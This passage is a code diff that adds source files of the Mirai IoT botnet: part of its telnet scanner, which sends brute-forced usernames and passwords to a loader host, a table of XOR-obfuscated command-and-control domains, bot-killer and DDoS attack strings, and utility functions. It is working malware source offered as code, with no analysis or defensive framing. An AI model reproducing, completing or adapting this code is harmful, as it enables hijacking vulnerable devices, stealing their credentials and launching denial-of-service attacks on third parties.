send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
|
||||
send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
|
||||
send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
|
||||
send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
|
||||
send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
|
||||
send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
|
||||
send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[report] Send scan result to loader\n");
|
||||
#endif
|
||||
|
||||
close(fd);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
static char *deobf(char *str, int *len)
|
||||
{
|
||||
int i;
|
||||
char *cpy;
|
||||
|
||||
*len = util_strlen(str);
|
||||
cpy = malloc(*len + 1);
|
||||
|
||||
util_memcpy(cpy, str, *len + 1);
|
||||
|
||||
for (i = 0; i < *len; i++)
|
||||
{
|
||||
cpy[i] ^= 0xDE;
|
||||
cpy[i] ^= 0xAD;
|
||||
cpy[i] ^= 0xBE;
|
||||
cpy[i] ^= 0xEF;
|
||||
}
|
||||
|
||||
return cpy;
|
||||
}
|
||||
|
||||
static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)
|
||||
{
|
||||
uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
|
||||
|
||||
return ptr + amount < end;
|
||||
}
|
||||
|
||||
#endif
|
64
mirai/bot/scanner.h
Executable file
64
mirai/bot/scanner.h
Executable file
@ -0,0 +1,64 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#define SCANNER_MAX_CONNS 128
|
||||
#define SCANNER_RAW_PPS 160
|
||||
#else
|
||||
#define SCANNER_MAX_CONNS 128
|
||||
#define SCANNER_RAW_PPS 160
|
||||
#endif
|
||||
|
||||
#define SCANNER_RDBUF_SIZE 256
|
||||
#define SCANNER_HACK_DRAIN 64
|
||||
|
||||
struct scanner_auth {
|
||||
char *username;
|
||||
char *password;
|
||||
uint16_t weight_min, weight_max;
|
||||
uint8_t username_len, password_len;
|
||||
};
|
||||
|
||||
struct scanner_connection {
|
||||
struct scanner_auth *auth;
|
||||
int fd, last_recv;
|
||||
enum {
|
||||
SC_CLOSED,
|
||||
SC_CONNECTING,
|
||||
SC_HANDLE_IACS,
|
||||
SC_WAITING_USERNAME,
|
||||
SC_WAITING_PASSWORD,
|
||||
SC_WAITING_PASSWD_RESP,
|
||||
SC_WAITING_ENABLE_RESP,
|
||||
SC_WAITING_SYSTEM_RESP,
|
||||
SC_WAITING_SHELL_RESP,
|
||||
SC_WAITING_SH_RESP,
|
||||
SC_WAITING_TOKEN_RESP
|
||||
} state;
|
||||
ipv4_t dst_addr;
|
||||
uint16_t dst_port;
|
||||
int rdbuf_pos;
|
||||
char rdbuf[SCANNER_RDBUF_SIZE];
|
||||
uint8_t tries;
|
||||
};
|
||||
|
||||
void scanner_init();
|
||||
void scanner_kill(void);
|
||||
|
||||
static void setup_connection(struct scanner_connection *);
|
||||
static ipv4_t get_random_ip(void);
|
||||
|
||||
static int consume_iacs(struct scanner_connection *);
|
||||
static int consume_any_prompt(struct scanner_connection *);
|
||||
static int consume_user_prompt(struct scanner_connection *);
|
||||
static int consume_pass_prompt(struct scanner_connection *);
|
||||
static int consume_resp_prompt(struct scanner_connection *);
|
||||
|
||||
static void add_auth_entry(char *, char *, uint16_t);
|
||||
static struct scanner_auth *random_auth_entry(void);
|
||||
static void report_working(ipv4_t, uint16_t, struct scanner_auth *);
|
||||
static char *deobf(char *, int *);
|
||||
static BOOL can_consume(struct scanner_connection *, uint8_t *, int);
|
158
mirai/bot/table.c
Executable file
158
mirai/bot/table.c
Executable file
@ -0,0 +1,158 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "table.h"
|
||||
#include "util.h"
|
||||
|
||||
uint32_t table_key = 0xdeadbeef;
|
||||
struct table_value table[TABLE_MAX_KEYS];
|
||||
|
||||
void table_init(void)
|
||||
{
|
||||
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
|
||||
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
|
||||
|
||||
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
|
||||
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
|
||||
|
||||
add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);
|
||||
|
||||
// safe string https://youtu.be/dQw4w9WgXcQ
|
||||
add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29);
|
||||
add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7);
|
||||
add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5);
|
||||
add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11);
|
||||
add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4);
|
||||
add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7);
|
||||
add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8);
|
||||
add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13);
|
||||
add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10);
|
||||
add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10);
|
||||
add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33);
|
||||
add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8);
|
||||
add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11);
|
||||
|
||||
add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6);
|
||||
add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7);
|
||||
add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7);
|
||||
add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3);
|
||||
add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19);
|
||||
add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24);
|
||||
add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9);
|
||||
add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16);
|
||||
add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22);
|
||||
|
||||
add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21);
|
||||
add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17);
|
||||
add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12);
|
||||
|
||||
add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23);
|
||||
add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83);
|
||||
add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32);
|
||||
add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48);
|
||||
add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12);
|
||||
add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9);
|
||||
add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10);
|
||||
add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12);
|
||||
add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16);
|
||||
add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19);
|
||||
add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8);
|
||||
add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11);
|
||||
add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12);
|
||||
add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18);
|
||||
add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25);
|
||||
|
||||
add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
|
||||
add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
|
||||
add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
|
||||
add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
|
||||
add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117);
|
||||
}
|
||||
|
||||
void table_unlock_val(uint8_t id)
|
||||
{
|
||||
struct table_value *val = &table[id];
|
||||
|
||||
#ifdef DEBUG
|
||||
if (!val->locked)
|
||||
{
|
||||
printf("[table] Tried to double-unlock value %d\n", id);
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
toggle_obf(id);
|
||||
}
|
||||
|
||||
void table_lock_val(uint8_t id)
|
||||
{
|
||||
struct table_value *val = &table[id];
|
||||
|
||||
#ifdef DEBUG
|
||||
if (val->locked)
|
||||
{
|
||||
printf("[table] Tried to double-lock value\n");
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
toggle_obf(id);
|
||||
}
|
||||
|
||||
char *table_retrieve_val(int id, int *len)
|
||||
{
|
||||
struct table_value *val = &table[id];
|
||||
|
||||
#ifdef DEBUG
|
||||
if (val->locked)
|
||||
{
|
||||
printf("[table] Tried to access table.%d but it is locked\n", id);
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (len != NULL)
|
||||
*len = (int)val->val_len;
|
||||
return val->val;
|
||||
}
|
||||
|
||||
static void add_entry(uint8_t id, char *buf, int buf_len)
|
||||
{
|
||||
char *cpy = malloc(buf_len);
|
||||
|
||||
util_memcpy(cpy, buf, buf_len);
|
||||
|
||||
table[id].val = cpy;
|
||||
table[id].val_len = (uint16_t)buf_len;
|
||||
#ifdef DEBUG
|
||||
table[id].locked = TRUE;
|
||||
#endif
|
||||
}
|
||||
|
||||
static void toggle_obf(uint8_t id)
|
||||
{
|
||||
int i;
|
||||
struct table_value *val = &table[id];
|
||||
uint8_t k1 = table_key & 0xff,
|
||||
k2 = (table_key >> 8) & 0xff,
|
||||
k3 = (table_key >> 16) & 0xff,
|
||||
k4 = (table_key >> 24) & 0xff;
|
||||
|
||||
for (i = 0; i < val->val_len; i++)
|
||||
{
|
||||
val->val[i] ^= k1;
|
||||
val->val[i] ^= k2;
|
||||
val->val[i] ^= k3;
|
||||
val->val[i] ^= k4;
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
val->locked = !val->locked;
|
||||
#endif
|
||||
}
|
84
mirai/bot/table.h
Executable file
84
mirai/bot/table.h
Executable file
@ -0,0 +1,84 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include "includes.h"
|
||||
|
||||
struct table_value {
|
||||
char *val;
|
||||
uint16_t val_len;
|
||||
#ifdef DEBUG
|
||||
BOOL locked;
|
||||
#endif
|
||||
};
|
||||
|
||||
/* Generic bot info */
|
||||
#define TABLE_PROCESS_ARGV 1
|
||||
#define TABLE_EXEC_SUCCESS 2
|
||||
#define TABLE_CNC_DOMAIN 3
|
||||
#define TABLE_CNC_PORT 4
|
||||
|
||||
/* Killer data */
|
||||
#define TABLE_KILLER_SAFE 5
|
||||
#define TABLE_KILLER_PROC 6
|
||||
#define TABLE_KILLER_EXE 7
|
||||
#define TABLE_KILLER_DELETED 8 /* " (deleted)" */
|
||||
#define TABLE_KILLER_FD 9 /* "/fd" */
|
||||
#define TABLE_KILLER_ANIME 10 /* .anime */
|
||||
#define TABLE_KILLER_STATUS 11
|
||||
#define TABLE_MEM_QBOT 12
|
||||
#define TABLE_MEM_QBOT2 13
|
||||
#define TABLE_MEM_QBOT3 14
|
||||
#define TABLE_MEM_UPX 15
|
||||
#define TABLE_MEM_ZOLLARD 16
|
||||
#define TABLE_MEM_REMAITEN 17
|
||||
|
||||
/* Scanner data */
|
||||
#define TABLE_SCAN_CB_DOMAIN 18 /* domain to connect to */
|
||||
#define TABLE_SCAN_CB_PORT 19 /* Port to connect to */
|
||||
#define TABLE_SCAN_SHELL 20 /* 'shell' to enable shell access */
|
||||
#define TABLE_SCAN_ENABLE 21 /* 'enable' to enable shell access */
|
||||
#define TABLE_SCAN_SYSTEM 22 /* 'system' to enable shell access */
|
||||
#define TABLE_SCAN_SH 23 /* 'sh' to enable shell access */
|
||||
#define TABLE_SCAN_QUERY 24 /* echo hex string to verify login */
|
||||
#define TABLE_SCAN_RESP 25 /* utf8 version of query string */
|
||||
#define TABLE_SCAN_NCORRECT 26 /* 'ncorrect' to fast-check for invalid password */
|
||||
#define TABLE_SCAN_PS 27 /* "/bin/busybox ps" */
|
||||
#define TABLE_SCAN_KILL_9 28 /* "/bin/busybox kill -9 " */
|
||||
|
||||
/* Attack strings */
|
||||
#define TABLE_ATK_VSE 29 /* TSource Engine Query */
|
||||
#define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */
|
||||
#define TABLE_ATK_NSERV 31 /* "nameserver " */
|
||||
|
||||
#define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */
|
||||
#define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */
|
||||
#define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8"
|
||||
#define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded"
|
||||
#define TABLE_ATK_SET_COOKIE 36 // "setCookie('"
|
||||
#define TABLE_ATK_REFRESH_HDR 37 // "refresh:"
|
||||
#define TABLE_ATK_LOCATION_HDR 38 // "location:"
|
||||
#define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:"
|
||||
#define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:"
|
||||
#define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:"
|
||||
#define TABLE_ATK_CHUNKED 42 // "chunked"
|
||||
#define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive"
|
||||
#define TABLE_ATK_CONNECTION_HDR 44 // "connection:"
|
||||
#define TABLE_ATK_DOSARREST 45 // "server: dosarrest"
|
||||
#define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx"
|
||||
|
||||
/* User agent strings */
|
||||
#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
|
||||
#define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
|
||||
#define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
|
||||
#define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
|
||||
#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */
|
||||
|
||||
#define TABLE_MAX_KEYS 52 /* Highest value + 1 */
|
||||
|
||||
void table_init(void);
|
||||
void table_unlock_val(uint8_t);
|
||||
void table_lock_val(uint8_t);
|
||||
char *table_retrieve_val(int, int *);
|
||||
|
||||
static void add_entry(uint8_t, char *, int);
|
||||
static void toggle_obf(uint8_t);
|
291
mirai/bot/util.c
Executable file
291
mirai/bot/util.c
Executable file
@ -0,0 +1,291 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "util.h"
|
||||
#include "table.h"
|
||||
|
||||
int util_strlen(char *str)
|
||||
{
|
||||
int c = 0;
|
||||
|
||||
while (*str++ != 0)
|
||||
c++;
|
||||
return c;
|
||||
}
|
||||
|
||||
|
||||
BOOL util_strncmp(char *str1, char *str2, int len)
|
||||
{
|
||||
int l1 = util_strlen(str1), l2 = util_strlen(str2);
|
||||
|
||||
if (l1 < len || l2 < len)
|
||||
return FALSE;
|
||||
|
||||
while (len--)
|
||||
{
|
||||
if (*str1++ != *str2++)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL util_strcmp(char *str1, char *str2)
|
||||
{
|
||||
int l1 = util_strlen(str1), l2 = util_strlen(str2);
|
||||
|
||||
if (l1 != l2)
|
||||
return FALSE;
|
||||
|
||||
while (l1--)
|
||||
{
|
||||
if (*str1++ != *str2++)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int util_strcpy(char *dst, char *src)
|
||||
{
|
||||
int l = util_strlen(src);
|
||||
|
||||
util_memcpy(dst, src, l + 1);
|
||||
|
||||
return l;
|
||||
}
|
||||
|
||||
void util_memcpy(void *dst, void *src, int len)
|
||||
{
|
||||
char *r_dst = (char *)dst;
|
||||
char *r_src = (char *)src;
|
||||
while (len--)
|
||||
*r_dst++ = *r_src++;
|
||||
}
|
||||
|
||||
void util_zero(void *buf, int len)
|
||||
{
|
||||
char *zero = buf;
|
||||
while (len--)
|
||||
*zero++ = 0;
|
||||
}
|
||||
|
||||
int util_atoi(char *str, int base)
|
||||
{
|
||||
unsigned long acc = 0;
|
||||
int c;
|
||||
unsigned long cutoff;
|
||||
int neg = 0, any, cutlim;
|
||||
|
||||
do {
|
||||
c = *str++;
|
||||
} while (util_isspace(c));
|
||||
if (c == '-') {
|
||||
neg = 1;
|
||||
c = *str++;
|
||||
} else if (c == '+')
|
||||
c = *str++;
|
||||
|
||||
cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
|
||||
cutlim = cutoff % (unsigned long)base;
|
||||
cutoff /= (unsigned long)base;
|
||||
for (acc = 0, any = 0;; c = *str++) {
|
||||
if (util_isdigit(c))
|
||||
c -= '0';
|
||||
else if (util_isalpha(c))
|
||||
c -= util_isupper(c) ? 'A' - 10 : 'a' - 10;
|
||||
else
|
||||
break;
|
||||
|
||||
if (c >= base)
|
||||
break;
|
||||
|
||||
if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim)
|
||||
any = -1;
|
||||
else {
|
||||
any = 1;
|
||||
acc *= base;
|
||||
acc += c;
|
||||
}
|
||||
}
|
||||
if (any < 0) {
|
||||
acc = neg ? LONG_MIN : LONG_MAX;
|
||||
} else if (neg)
|
||||
acc = -acc;
|
||||
return (acc);
|
||||
}
|
||||
|
||||
char *util_itoa(int value, int radix, char *string)
|
||||
{
|
||||
if (string == NULL)
|
||||
return NULL;
|
||||
|
||||
if (value != 0)
|
||||
{
|
||||
char scratch[34];
|
||||
int neg;
|
||||
int offset;
|
||||
int c;
|
||||
unsigned int accum;
|
||||
|
||||
offset = 32;
|
||||
scratch[33] = 0;
|
||||
|
||||
if (radix == 10 && value < 0)
|
||||
{
|
||||
neg = 1;
|
||||
accum = -value;
|
||||
}
|
||||
else
|
||||
{
|
||||
neg = 0;
|
||||
accum = (unsigned int)value;
|
||||
}
|
||||
|
||||
while (accum)
|
||||
{
|
||||
c = accum % radix;
|
||||
if (c < 10)
|
||||
c += '0';
|
||||
else
|
||||
c += 'A' - 10;
|
||||
|
||||
scratch[offset] = c;
|
||||
accum /= radix;
|
||||
offset--;
|
||||
}
|
||||
|
||||
if (neg)
|
||||
scratch[offset] = '-';
|
||||
else
|
||||
offset++;
|
||||
|
||||
util_strcpy(string, &scratch[offset]);
|
||||
}
|
||||
else
|
||||
{
|
||||
string[0] = '0';
|
||||
string[1] = 0;
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
|
||||
{
|
||||
int i, matched = 0;
|
||||
|
||||
if (mem_len > buf_len)
|
||||
return -1;
|
||||
|
||||
for (i = 0; i < buf_len; i++)
|
||||
{
|
||||
if (buf[i] == mem[matched])
|
||||
{
|
||||
if (++matched == mem_len)
|
||||
return i + 1;
|
||||
}
|
||||
else
|
||||
matched = 0;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
int util_stristr(char *haystack, int haystack_len, char *str)
|
||||
{
|
||||
char *ptr = haystack;
|
||||
int str_len = util_strlen(str);
|
||||
int match_count = 0;
|
||||
|
||||
while (haystack_len-- > 0)
|
||||
{
|
||||
char a = *ptr++;
|
||||
char b = str[match_count];
|
||||
a = a >= 'A' && a <= 'Z' ? a | 0x60 : a;
|
||||
b = b >= 'A' && b <= 'Z' ? b | 0x60 : b;
|
||||
|
||||
if (a == b)
|
||||
{
|
||||
if (++match_count == str_len)
|
||||
return (ptr - haystack);
|
||||
}
|
||||
else
|
||||
match_count = 0;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
ipv4_t util_local_addr(void)
|
||||
{
|
||||
int fd;
|
||||
struct sockaddr_in addr;
|
||||
socklen_t addr_len = sizeof (addr);
|
||||
|
||||
errno = 0;
|
||||
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[util] Failed to call socket(), errno = %d\n", errno);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
